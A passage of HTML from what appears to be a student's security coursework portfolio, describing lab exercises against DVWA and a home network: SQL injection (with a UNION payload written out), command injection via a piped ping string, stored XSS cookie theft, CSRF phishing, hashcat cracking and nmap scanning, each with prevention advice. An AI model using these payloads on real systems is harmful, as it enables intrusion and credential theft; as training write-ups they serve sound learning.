reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL 